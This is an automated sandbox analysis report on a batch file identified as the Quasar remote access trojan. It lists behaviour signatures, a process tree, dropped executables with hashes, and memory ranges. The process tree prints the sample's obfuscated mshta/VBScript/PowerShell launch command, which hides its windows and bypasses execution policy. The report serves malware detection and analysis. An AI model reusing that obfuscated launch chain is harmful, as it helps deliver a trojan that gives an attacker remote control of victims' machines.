Analysis

  • max time kernel
    29s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29/03/2024, 00:06

General

  • Target
    dhm/requirements.bat
  • Size 15.5MB
  • Sample240329-adts4ach32
  • SHA256 a53d1740f3c14be4608db28590ef26264975d13d4cb7ff4fc823a3107798cf42
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • quasar

Attributes
  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:680
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:988
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:452
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:704
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1044
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1080
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                  PID:1196
                  • C:\Windows\$sxr-mshta.exe
                    C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bsdNZbmfOhwdBQEAEjRQ4312:GWhOVoSS=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                    2⤵
                    • Executes dropped EXE
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:4544
                    • C:\Windows\$sxr-cmd.exe
                      "C:\Windows\$sxr-cmd.exe" /c %$sxr-bsdNZbmfOhwdBQEAEjRQ4312:GWhOVoSS=%
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:924
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:lzNxgZnUMx; "
                        4⤵
                          PID:1968
                        • C:\Windows\$sxr-powershell.exe
                          C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                          4⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3324
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1216
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                      1⤵
                        PID:1284
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1304
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1364
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1464
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                              1⤵
                                PID:1532
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1624
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1632
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k NetworkService -p
                                    1⤵
                                      PID:1660
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1732
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1784
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1844
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1880
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1940
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1948
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:2040
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1152
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2088
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dhm\requirements.bat"
                                                        1⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:396
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:qRLHzJZDJQ; "
                                                          2⤵
                                                            PID:1472
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                                                            2⤵
                                                            • Deletes itself
                                                            • Drops file in Windows directory
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4228

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              ModuleAnalysisCache

                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                              • Size 62KB
                                                              • SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              __PSScriptPolicyTest_sruyguex.u0c.ps1

                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sruyguex.u0c.ps1
                                                              • Size 60B
                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                              • MD5 SHA1 SHA512

                                                              $sxr-cmd.exe

                                                              • Path C:\Windows\$sxr-cmd.exe
                                                              • Size 324KB
                                                              • SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              $sxr-mshta.exe

                                                              • Path C:\Windows\$sxr-mshta.exe
                                                              • Size 32KB
                                                              • SHA256 4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              $sxr-powershell.exe

                                                              • Path C:\Windows\$sxr-powershell.exe
                                                              • Size 440KB
                                                              • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              memory/452-149-0x0000020565180000-0x00000205651A9000-memory.dmp

                                                              memory/452-148-0x0000020565180000-0x00000205651A9000-memory.dmp

                                                              memory/452-147-0x00007FF810EF0000-0x00007FF810F00000-memory.dmp

                                                              memory/452-139-0x0000020565180000-0x00000205651A9000-memory.dmp

                                                              memory/680-106-0x000001AB8B8C0000-0x000001AB8B8E9000-memory.dmp

                                                              memory/680-130-0x000001AB8B8C0000-0x000001AB8B8E9000-memory.dmp

                                                              memory/680-125-0x00007FF810EF0000-0x00007FF810F00000-memory.dmp

                                                              memory/680-129-0x00007FF850F04000-0x00007FF850F05000-memory.dmp

                                                              memory/680-104-0x000001AB8B880000-0x000001AB8B8A3000-memory.dmp

                                                              memory/680-105-0x000001AB8B8C0000-0x000001AB8B8E9000-memory.dmp

                                                              memory/680-126-0x000001AB8B8C0000-0x000001AB8B8E9000-memory.dmp

                                                              memory/704-154-0x0000022073460000-0x0000022073489000-memory.dmp

                                                              memory/988-134-0x0000023A27500000-0x0000023A27529000-memory.dmp

                                                              memory/988-132-0x00007FF810EF0000-0x00007FF810F00000-memory.dmp

                                                              memory/988-115-0x0000023A27500000-0x0000023A27529000-memory.dmp

                                                              memory/988-135-0x0000023A27500000-0x0000023A27529000-memory.dmp

                                                              memory/3324-97-0x0000027BFDE40000-0x0000027BFDE82000-memory.dmp

                                                              memory/3324-114-0x0000027BF26F0000-0x0000027BF2700000-memory.dmp

                                                              memory/3324-166-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-151-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-127-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-108-0x00007FF830000000-0x00007FF830AC2000-memory.dmp

                                                              memory/3324-109-0x0000027BF26F0000-0x0000027BF2700000-memory.dmp

                                                              memory/3324-101-0x0000000180000000-0x0000000180007000-memory.dmp

                                                              memory/3324-96-0x0000027BFD820000-0x0000027BFD88A000-memory.dmp

                                                              memory/3324-92-0x0000027BFD370000-0x0000027BFD422000-memory.dmp

                                                              memory/3324-91-0x0000027BFCFE0000-0x0000027BFD36C000-memory.dmp

                                                              memory/3324-90-0x0000027BFC830000-0x0000027BFCFDE000-memory.dmp

                                                              memory/3324-89-0x0000027BFC2E0000-0x0000027BFC82E000-memory.dmp

                                                              memory/3324-88-0x0000027BF2DF0000-0x0000027BF2DF6000-memory.dmp

                                                              memory/3324-87-0x0000027BF2A60000-0x0000027BF2A66000-memory.dmp

                                                              memory/3324-86-0x0000027BF26D0000-0x0000027BF26F2000-memory.dmp

                                                              memory/3324-85-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-84-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-83-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-82-0x00007FF84F3A0000-0x00007FF84F45D000-memory.dmp

                                                              memory/3324-62-0x00007FF830000000-0x00007FF830AC2000-memory.dmp

                                                              memory/3324-68-0x0000027BF26F0000-0x0000027BF2700000-memory.dmp

                                                              memory/3324-69-0x0000027BF26F0000-0x0000027BF2700000-memory.dmp

                                                              memory/3324-81-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-80-0x0000027BFB740000-0x0000027BFBE28000-memory.dmp

                                                              memory/3324-76-0x0000027BFB090000-0x0000027BFB736000-memory.dmp

                                                              memory/3324-79-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/3324-78-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-24-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-23-0x0000023154FE0000-0x0000023154FF0000-memory.dmp

                                                              memory/4228-73-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-27-0x000002316D7E0000-0x000002316D7E6000-memory.dmp

                                                              memory/4228-28-0x0000023177540000-0x000002317759E000-memory.dmp

                                                              memory/4228-29-0x00000231775A0000-0x00000231775F8000-memory.dmp

                                                              memory/4228-54-0x00007FF82F778000-0x00007FF82F779000-memory.dmp

                                                              memory/4228-49-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-46-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-43-0x0000000180000000-0x0000000180007000-memory.dmp

                                                              memory/4228-42-0x000002316D800000-0x000002316D808000-memory.dmp

                                                              memory/4228-40-0x00007FF683B50000-0x00007FF683BBE000-memory.dmp

                                                              memory/4228-39-0x0000023154FE0000-0x0000023154FF0000-memory.dmp

                                                              memory/4228-38-0x00000231783C0000-0x00000231783EE000-memory.dmp

                                                              memory/4228-94-0x00007FF830000000-0x00007FF830AC2000-memory.dmp

                                                              memory/4228-95-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-37-0x0000023178360000-0x00000231783B8000-memory.dmp

                                                              memory/4228-8-0x000002316D3B0000-0x000002316D3D2000-memory.dmp

                                                              memory/4228-36-0x0000023178320000-0x0000023178356000-memory.dmp

                                                              memory/4228-25-0x0000023177440000-0x000002317753C000-memory.dmp

                                                              memory/4228-26-0x000002316D5A0000-0x000002316D5C2000-memory.dmp

                                                              memory/4228-35-0x0000023178270000-0x0000023178322000-memory.dmp

                                                              memory/4228-77-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-34-0x0000023177640000-0x000002317826C000-memory.dmp

                                                              memory/4228-22-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-30-0x0000023155070000-0x0000023155076000-memory.dmp

                                                              memory/4228-21-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-33-0x0000023177600000-0x000002317763E000-memory.dmp

                                                              memory/4228-20-0x00007FF830000000-0x00007FF830AC2000-memory.dmp

                                                              memory/4228-19-0x00007FF84F3A0000-0x00007FF84F45D000-memory.dmp

                                                              memory/4228-17-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-16-0x0000023176640000-0x000002317712C000-memory.dmp

                                                              memory/4228-15-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-14-0x00007FF850E60000-0x00007FF851069000-memory.dmp

                                                              memory/4228-13-0x0000023175B90000-0x000002317663C000-memory.dmp

                                                              memory/4228-12-0x000002316D820000-0x000002316D866000-memory.dmp

                                                              memory/4228-11-0x0000023154FE0000-0x0000023154FF0000-memory.dmp

                                                              memory/4228-10-0x0000023154FE0000-0x0000023154FF0000-memory.dmp

                                                              memory/4228-32-0x000002316D7D0000-0x000002316D7D6000-memory.dmp

                                                              memory/4228-9-0x00007FF830000000-0x00007FF830AC2000-memory.dmp

                                                              memory/4228-31-0x000002316D7F0000-0x000002316D7F8000-memory.dmp